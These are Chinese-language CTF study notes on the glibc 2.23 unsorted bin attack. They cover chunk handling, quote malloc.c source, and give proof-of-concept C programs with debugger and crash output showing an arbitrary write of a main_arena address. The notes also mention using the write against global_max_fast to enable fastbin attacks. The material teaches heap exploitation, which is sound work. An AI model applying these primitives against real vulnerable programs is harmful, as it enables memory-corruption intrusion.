Unsorted Bin Attack 漏洞笔记

资料来源:ctf-wiki

前导知识

基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大就会被放到 unsorted bin 中。
  2. 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中

malloc_chunk结构

原理

这是对 unsorted_chunks 操作的部分源码:

glibc-2.23/malloc/malloc.c:3454

/*
  Process recently freed or remaindered chunks, taking one only if
  it is exact fit, or, if this a small request, the chunk is remainder from
  the most recent non-exact fit.  Place other traversed chunks in
  bins.  Note that this step is the only place in any routine where
  chunks are placed in bins.
  进程最近释放的或剩余的chunks,仅在完全匹配的情况下才取走,或者,如果请求的字节很小,
  则会选择最近一次非完全匹配的剩余chunk。将其他遍历的chunk分别插入到对应的 bin 中。
  请注意,在任何例程中,此步骤是惟一一个将 chunk 放入对应的 bin 中的位置的步骤。

  The outer loop here is needed because we might not realize until
  near the end of malloc that we should have consolidated, so must
  do so and retry. This happens at most once, and only when we would
  otherwise need to expand memory to service a "small" request.
  这里需要外部循环的因为是:
  我们可能直到接近malloc函数的末尾才可能意识到应该进行chunk合并,
  所以我们必须反复尝试。这种情况最多只发生一次,并且只有当我们想这样做时才会发生,
  否则,需要扩展内存来处理“小”请求。(分割top chunk之类的)
*/

for (;; )
{
  int iters = 0;
  while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
  {
    bck = victim->bk;
    if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (victim->size > av->system_mem, 0))
      malloc_printerr (check_action, "malloc(): memory corruption",
                        chunk2mem (victim), av);
    size = chunksize (victim);

      /*
        If a small request, try to use last remainder if it is the
        only chunk in unsorted bin.  This helps promote locality for
        runs of consecutive small requests. This is the only
        exception to best-fit, and applies only when there is
        no exact fit for a small chunk.
        如果申请一个小的size,并且unsorted bin仅剩最后一个chunk时,会尝试使用该chunk
        这有助于为连续的申请小size的行为提升局部性。这是best-fit的唯一例外,
        并且只适用于没有对一个小size申请的情况。
      */

    if (in_smallbin_range (nb) &&
        bck == unsorted_chunks (av) &&
        victim == av->last_remainder &&
        (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
      {
        /* split and reattach remainder */
        /* 分割或者将剩余的chunk合并 */
        remainder_size = size - nb;
        remainder = chunk_at_offset (victim, nb);
        unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
        av->last_remainder = remainder;
        remainder->bk = remainder->fd = unsorted_chunks (av);
        if (!in_smallbin_range (remainder_size))
          {
            remainder->fd_nextsize = NULL;
            remainder->bk_nextsize = NULL;
          }

        set_head (victim, nb | PREV_INUSE |
                  (av != &main_arena ? NON_MAIN_ARENA : 0));
        set_head (remainder, remainder_size | PREV_INUSE);
        set_foot (remainder, remainder_size);

        check_malloced_chunk (av, victim, nb);
        void *p = chunk2mem (victim);
        alloc_perturb (p, bytes);
        return p;
      }

    /* remove from unsorted list */
    /* 移出 unsorted list */
    unsorted_chunks (av)->bk = bck;
    bck->fd = unsorted_chunks (av);

    // 剩余代码...
  }
  // 剩余代码...
}
  

Unsorted Bin Attack 漏洞的核心就是下面的代码:

/* remove from unsorted list */
/* 移出 unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

代码举例

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *ptr = NULL, *controllable_chunk, *trigger;

    controllable_chunk = malloc(400);
    malloc(10); // 防止与top chunk合并

    free(controllable_chunk);
    // controllable_chunk->bk = target - size_t*2
    ((void **)controllable_chunk)[1] = &ptr - 2;

    // 注意,这里要和free的size相同,否则会引发异常
    trigger = malloc(400);

    fprintf(stderr, "ptr: %p\n ", ptr);

    return 0;
}

运行完成后,局部变量情况如下:

pwndbg> info locals 
ptr = 0x7ffff7dd5b78 <main_arena+88> "\300!`"
controllable_chunk = 0x602010 "x[\335\367\377\177"
trigger = 0x602010 "x[\335\367\377\177"

注意

触发时的申请的size要和free掉的size一样,否则将unsort bin中的chunk放回对应的bin后,unsort bin的连续性会被破坏,也就过不了下面的check。

if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
    || __builtin_expect (victim->size > av->system_mem, 0))
  malloc_printerr (check_action, "malloc(): memory corruption",
                    chunk2mem (victim), av);

举个例子:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *ptr = NULL, *controllable_chunk, *trigger;

    controllable_chunk = malloc(400);
    malloc(10); // 防止与top chunk合并

    free(controllable_chunk);
    // controllable_chunk->bk = target - size_t*2
    ((void **)controllable_chunk)[1] = &ptr - 2;

    // 注意,这里要和free的size相同,否则会引发异常
    trigger = malloc(600);

    fprintf(stderr, "ptr: %p\n ", ptr);

    return 0;
}

运行结果:

ex@ubuntu:~/test$ gcc -g main.c
ex@ubuntu:~/test$ ./a.out 
*** Error in `./a.out': malloc(): memory corruption: 0x00007ffe3a003db0 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fd92b0c67e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7fd92b0d113e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7fd92b0d3184]
./a.out[0x4006c6]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fd92b06f830]
./a.out[0x400599]
======= Memory map: ========
00400000-00401000 r-xp 00000000 08:01 1982372                            /home/ex/test/a.out
00600000-00601000 r--p 00000000 08:01 1982372                            /home/ex/test/a.out
00601000-00602000 rw-p 00001000 08:01 1982372                            /home/ex/test/a.out
013b8000-013d9000 rw-p 00000000 00:00 0                                  [heap]
7fd924000000-7fd924021000 rw-p 00000000 00:00 0 
7fd924021000-7fd928000000 ---p 00000000 00:00 0 
7fd92ae39000-7fd92ae4f000 r-xp 00000000 08:01 660579                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd92ae4f000-7fd92b04e000 ---p 00016000 08:01 660579                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd92b04e000-7fd92b04f000 rw-p 00015000 08:01 660579                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fd92b04f000-7fd92b20f000 r-xp 00000000 08:01 660272                     /lib/x86_64-linux-gnu/libc-2.23.so
7fd92b20f000-7fd92b40f000 ---p 001c0000 08:01 660272                     /lib/x86_64-linux-gnu/libc-2.23.so
7fd92b40f000-7fd92b413000 r--p 001c0000 08:01 660272                     /lib/x86_64-linux-gnu/libc-2.23.so
7fd92b413000-7fd92b415000 rw-p 001c4000 08:01 660272                     /lib/x86_64-linux-gnu/libc-2.23.so
7fd92b415000-7fd92b419000 rw-p 00000000 00:00 0 
7fd92b419000-7fd92b43f000 r-xp 00000000 08:01 656885                     /lib/x86_64-linux-gnu/ld-2.23.so
7fd92b624000-7fd92b627000 rw-p 00000000 00:00 0 
7fd92b63d000-7fd92b63e000 rw-p 00000000 00:00 0 
7fd92b63e000-7fd92b63f000 r--p 00025000 08:01 656885                     /lib/x86_64-linux-gnu/ld-2.23.so
7fd92b63f000-7fd92b640000 rw-p 00026000 08:01 656885                     /lib/x86_64-linux-gnu/ld-2.23.so
7fd92b640000-7fd92b641000 rw-p 00000000 00:00 0 
7ffe39fe4000-7ffe3a005000 rw-p 00000000 00:00 0                          [stack]
7ffe3a063000-7ffe3a065000 r--p 00000000 00:00 0                          [vvar]
7ffe3a065000-7ffe3a067000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

用处

  1. 我们通过修改循环的次数来使得程序可以执行多次循环。
  2. 我们可以修改 heap 中的 global_max_fast 来使得更大的 chunk 可以被视为 fast bin,这样我们就可以去执行一些 fast bin attack 了。

总结

要完成一个大目标是件非常困难的事,但是实现很多个小目标就要简单的多,那为什么不将大目标拆分成许多小目标呢?